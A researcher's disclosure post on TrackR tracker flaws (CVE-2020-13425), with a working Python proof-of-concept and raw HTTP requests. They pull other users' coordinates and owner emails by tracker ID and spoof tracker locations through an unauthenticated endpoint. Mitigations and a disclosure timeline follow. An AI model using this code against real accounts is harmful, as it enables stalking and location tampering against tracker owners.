TrackR – User’s Private Information Exposed & Battery Drain Vulnerability (CVE-2020-13425)

The TL;DR

TrackR is a company that develops small wireless trackers to help people find their stuff, such as bags, keys, remote controls, mobile devices etc. You stick the tracker onto your stuff and trigger the tracker’s beeper through the vendor’s android app. Therefore, the tracker makes it possible for objects to be found. Simply put, it’s a key finder. Communication is achieved through Bluetooth Low Energy. This post is about a vulnerability i have found in TrackR Application which affects the privacy of it’s users, by exposing their true geo-location.

The TrackR Pixel Tracker

The TrackR Pixel, is one of the trackers available made by Trackr, yet for the scope of this post, consider the TrackR trackers are all alike.

Here is how the TrackR Pixel looks like:

This little tracker can be powered on, for up to 1 year of operation by using a tiny battery that comes with it. The tracker is paired with the Mobile Application TrackR (Android), without any authentication. It has the Bluetooth name “tkr” and the android app recognizes the beacon when the device is pressed (you press it in the middle – it contains an internal button). Then, the device is paired with your mobile device. Before pairing with the device, an account must be created, so registration is needed. Here is where our travel begins.

The Sweet Spot

One of the core functions of TrackR mobile application is to assist it’s users in finding their tracker in case it is lost. This is done collaboratively by other users. All users, by using the TrackR application to track their own device, they also monitor all trackers in range. Then, each user’s application notifies the server what trackers are found and what the current coordinates are. When a tracker is lost, all users help – without knowing it – to find the tracker.

Each tracker has a tracking ID. The tracker’s ID is constructed by “0000” + BluetoothAddressHexReversed. Using a web proxy, I was able to understand the API calls and then played a little. I found out that I was able to track any tracker without any authorization. What i needed was the Bluetooth device address of the tracker device. This is easy as the tracker device advertises itself every few seconds (when no associated with any client) in order to be visible, thus exposing its BDADDR. When the BDADDR is known, it can be used to track the user.

Private Information Exposed

Users having a TrackR Tracker, such as the Pixel product of TrackR, often attach the tracker to their keys. Usually, the keys are placed in the same location as the mobile device. Thus, the mobile device is aware of the location of the tracker, and always reports to the server the current location of the tracker. When the user puts the mobile device in a different place, like in the case when a user leaves/ forgets the mobile device at home, other users report the user’s location to the server. No that’s not a bug, its a feature. As I have mentioned before, the TrackR offers a feature that helps tracker owners to find their stolen objects. Other users, having the TrackR Mobile Application installed, report the coordinates of other TrackR devices found in the area. The TrackR is running in the background using a service, so the application is not required to be in operation. Furthermore, it doesn’t matter if you carry your phone with you or not, because other people, unwillingly, will report your position to the server, and through the vulnerability described in this article, the server will expose the user’s private information, the physical location, to a possible attacker.

Moreover, this tracker could be used maliciously by leveraging phishing techniques. This could be feasible by giving a tracker as a free gift, and then continue tracking the device by using its tracking ID (which you would have already saved before you gave the tracker). The TrackR does nothing to forbid multiple users to have the same device attached to their account. This process is hard to be done, as the device could be sold as a second-hand product.

By sending specially crafted HTTPS POST and GET requests to the vulnerable API of the TrackR Application, an authenticated attacker may retrieve private-sensitive data, such as coordinates of other users, by using just the tracker ID. The tracker ID is the mac address of the tracker in reverse and is visible to anyone scanning for Bluetooth devices (it can be done even by just using an android phone).

To Create the Tracker ID or to attach to Tracker ID (if already created), the following URL is used (POST):

https://platform.thetrackr.com/rest/item?usertoken=

	payload = '{"customName":"tracker_for_my_keys","type":"Bluetooth","trackerId":"00XXXX-XXXXXXXX","icon":"trackr","timeElapsedSync":304}'
	r = requests.post("https://platform.thetrackr.com/rest/item?usertoken=" + userToken, headers = headers, data = payload)

To fetch all own devices (including the just-attached new device) – (GET):

https://platform.thetrackr.com/rest/item?usertoken=

	r = requests.get("https://platform.thetrackr.com/rest/item?usertoken=" + userToken, headers = headers_get)
	data = json.loads(r.text)

Note: The token is generated at the login procedure and returned by the server.

GET /rest/user?email=yourmail%40domain.com&password=yourpass HTTP/1.1

PoC

Please note the Coordinates were altered – Also without auth.

import requests, json, random, time

userToken = "your token..."

azaz = list(set("zyxwvutsrqponmlkjihgfedcbabcdefghijklmnopqrstuvwxyz"))
current_num = 22900

headers_push = {"User-Agent" : "Dalvik/2.1.0 (Linux; U; Android 6.0; Nexus 5X Build/MDA89E)",
            "Accept-Encoding" : "gzip, deflate",
            "Content-Type":"application/json"}

headers_del = {"Content-Type":"application/x-www-form-urlencoded",
            "User-Agent" : "Dalvik/2.1.0 (Linux; U; Android 6.0; Nexus 5X Build/MDA89E)",
            "Accept-Encoding" : "gzip, deflate",
            "Content-Length":"0"}

headers_get = {"User-Agent" : "Dalvik/2.1.0 (Linux; U; Android 6.0; Nexus 5X Build/MDA89E)",
            "Accept-Encoding" : "gzip, deflate",
            "Content-Type":"application/json"}

def pickAName():
    n = str()
    for i in range(6):
        n += azaz[random.randint(0,len(azaz)-1)]
    return n

# Only the owner of the device should be able to attach to the device tracker
def createDevice(trackerId): # whatever is created, when pushed later conflict error is returned, despite the deletion
    payload = '{"customName":"'+pickAName()+'","type":"Bluetooth","trackerId":"'+trackerId+'","icon":"trackr","timeElapsedSync":'+str(random.randint(100,1000))+'}'
    r = requests.post("https://platform.thetrackr.com/rest/item?usertoken=" + userToken, headers = headers_push, data = payload)
    if r.status_code == 201: print trackerId, "CREATED"
    elif r.status_code == 200: print trackerId, "Attached"
    else: print trackerId, "Create - Unknown Reason", r.status_code
    
    if r.status_code == 201 or r.status_code == 200: return 200
    else: return r.status_code

def pushDevice(trackerId): # will always return of Not Found if not created before by the user
    payload = '{"customName":"'+pickAName()+'","type":"Bluetooth","trackerId":"'+trackerId+'","icon":"trackr","lost":false,"timeElapsedSync":'+str(random.randint(100,1000))+'}'
    url = "https://platform.thetrackr.com/rest/item/"+trackerId+"?usertoken=" + userToken
    
    r = requests.put(url, data = payload, headers = headers_push)
    if r.status_code == 404:
        print trackerId, "Not Found"
    
    rtxt = r.text
    print trackerId, r.status_code, rtxt
    return r.status_code

# Returning all devices along with their coordinates
def lookupDevice(trackerId):
    r = requests.get("https://platform.thetrackr.com/rest/item?usertoken=" + userToken, headers = headers_get)
    data = json.loads(r.text)
    print "Looking for... ",trackerId, r.status_code
    for it in data:
        if it.has_key("lastKnownLocation"):
            if it["lastKnownLocation"].has_key("latitude"):
                print it["lastKnownLocation"]["latitude"], it["lastKnownLocation"]["longitude"]

def popDevice(trackerId):
    r = requests.delete("https://platform.thetrackr.com/rest/item/"+trackerId+"?usertoken="+userToken+"&timeElapsedSync=0", headers = headers_del)
    print "Deleting Tracker", trackerId, r.status_code

def spoofAddress(trackerId): # Vulnerable to Location Spoofing
	print "Spoofing Target Coordinates" # Push Token is not always necessary
	payload = '[{"trackerId":"'+trackerId+'","battery":-1,"lastKnownLocation":{"latitude":14.31,"longitude":22.38,"accuracy":57.10200044036810},"connected":false,"clientTimeDiff":1132}]'
	r = requests.put("https://platform.thetrackr.com/rest/tracker/batch/secure/lzFobKi7iWUd1cRy05KJff4l3KCNESgsAHWDXYIl", headers = headers_get, data = payload)
	print r.text, r.status_code

# Track Users
tracker_id = "0000XXXX-XXXXXX"
print "Finding Tracker... ", tracker_id
if createDevice(tracker_id) == 200:
   lookupDevice(tracker_id)
    popDevice(tracker_id)

To be more thorough about the kind of information that the server is able to retrieve, the following information is presented:

  • LastUpdated: So the attacker knows how fresh data is
  • Custom name: This is replaced by our custom name when we create/attach to the Tracker ID so it doesn’t make any sense for us
  • Last Known Location: The coordinates and how accurate these are (very accurate if you ask me)
  • Seen By Type: Who reported the last update (crowd or user)
  • Lost: If reported as lost
  • Battery Level: The level of tracker’s battery in percentage
  • Type: Bluetooth – I am not aware of all products of TrackR, but it seems most trackers are developed by using BLE technology
[
    {
        "lastKnownLocation": {
            "latitude": 30.123455, 
            "lastSeenBy": {
                "seenByType": "CROWD_LOCATE_USER", 
                "name": ""
            }, 
            "longitude": 30.112232, 
            "accuracy": 16
        }, 
        "ownershipOrder": 0, 
        "lastUpdated": 1581871440781, 
        "lost": false, 
        "lastTimeSeenDiff": 33670, 
        "customName": "mynew", 
        "ownersEmail": "MYMAILXXXX@gmail.com", 
        "timeUpdatedDiff": 685496, 
        "id": 5894866519982080, 
        "trackerId": "00005150-52d48gee", 
        "groupItem": false, 
        "batteryOrderUrl": "https://store.thetrackr.com/battery-replenishment-program?trackerId=9cac263f593abfb2&discount=BRP&token=d8005225b33088cf", 
        "batteryLevel": 5, 
        "type": "Bluetooth", 
        "lastKnownPlaces": [], 
        "lastTimeSeen": "Sun Feb 16 16:54:52 UTC 2020", 
        "icon": "trackr"
    }
]

Private Information Exposure Mitigation

It is not easy to mitigate such an attack, as it involves changes in hardware as well. The whole procedure has to change as the tracker does not use any authentication mechanism during the pairing procedure. The tracker shall use a Passkey-PIN authentication, and the PIN shall be shipped on a label so as the owner becomes the only person with the right to connect and modify the TrackR tracker device. The Tracker ID shall be random having a size above 10 bytes (16 bytes are more than enough) and shall be sent only to an authenticated user (authenticated using PIN). In order for the user to have the Tracker ID retrieved, he shall know the Passkey-PIN. In that way, the whole meaning of low power is preserved, and the device will be secured. In case that TrackR is willing to allow its devices to be sold as second-hand, it has to allow the tracker ID to be randomly generated when the authenticated user wishes to.

Access to Unauthenticated Alarm Characteristic ( CVE-2020-13425 )

The tracker device has no authorization, thus any potentially malicious user can connect to it and trigger its beeper (alarm). This can be done when the attacker is in close range with the device though (~10m). Without a question, the tracker needs authorization. Changing the alarm is trivial, non-sophisticated, and can be done even by using off-the-shelf Bluetooth applications (its so trivial that you may develop your own app in 10 minutes doing exactly that). “Beep” is a well-defined characteristic of Bluetooth SIG. The values to trigger the alarm are also well-defined by the standard. Exploiting this vulnerability may drain the battery of the device.

The vendor has made a good job by defining the alarm characteristics properly, yet authorization is needed as well, in order for the device to be more secure.

Target Location Spoofing

The best part is when anybody, any non-registered user, can alter the current location of any tracker device, at any time.

PUT /rest/tracker/batch/secure/lzFobKi7iWUd1cRy05KJff4l3KCNESgsAHWDXYIl HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Nexus 5X Build/MDA89E)
Host: platform.thetrackr.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 183

[{"trackerId":"00005974-XXXXXXXX","battery":51,"lastKnownLocation":{"latitude":39.1234567,"longitude":30.112233,"accuracy":16.3439998626709},"connected":false,"clientTimeDiff":31031}]

It is found that the only thing that is needed to alter any tracker’s Coordinates is a single HTTPS PUT Request to a hashed-like path. I guess this is security through obscurity. The “secret” URL allows the submission of information by using unauthenticated access and should be avoided in the year 2020.

Location Spoofing Mitigation

This is also a difficult task because any user should be able to submit the coordinates and a list of all visible tracker IDs. At this moment, the server is not able to distinguish a legitimate request, from an illegitimate request. The vendor shall apply the aforementioned recommended mitigations. In that way, the server will be aware of all TrackR devices registered by their true owner, and it will also be aware of its random ID. Then, in that way, it will be able to distinguish real tracker IDs from fake ones. In order to harden the brute-forcing attack, the vendor shall use a larger random number than 6 bytes that are currently being used. Also, the vendor shall authenticate all Location PUT Requests.

Impact

The TrackR was founded in 2009. It is quite funny how serious this vulnerability is, considering the scale of the company and the little complexity of such a product.

As of August 2017, over 5 million TrackR devices had been sold

Wikipedia

Google play reports ~20k Users to have the application installed and 1 million downloads, yet other applications exist on other platforms, referring to the same vulnerable API.

Vulnerability Disclosure Time-table

  • 15/02/2020 – Vulnerability Discovered
  • 19/02/2020 – Vendor TrackR Notified via support email
  • 28/02/2020 – Vendor TrackR Notified via support email
  • 28/02/2020 – Vendor Adero Notified via adero.com (possibly parent company?)
  • 04/03/2020 – Vendor TrackR notified via secondary sending email address
  • 17/04/2020 – Cert Coordination Center Submission
  • 25/04/2020 – Cert CC Replied with vendor’s contact info
  • 6/05/2020 – Attempted to contact them multiple times (International Calls are not free)
  • 06/05/2020 – Published (CVE-2020-13425)

Leave a Reply

Your email address will not be published. Required fields are marked *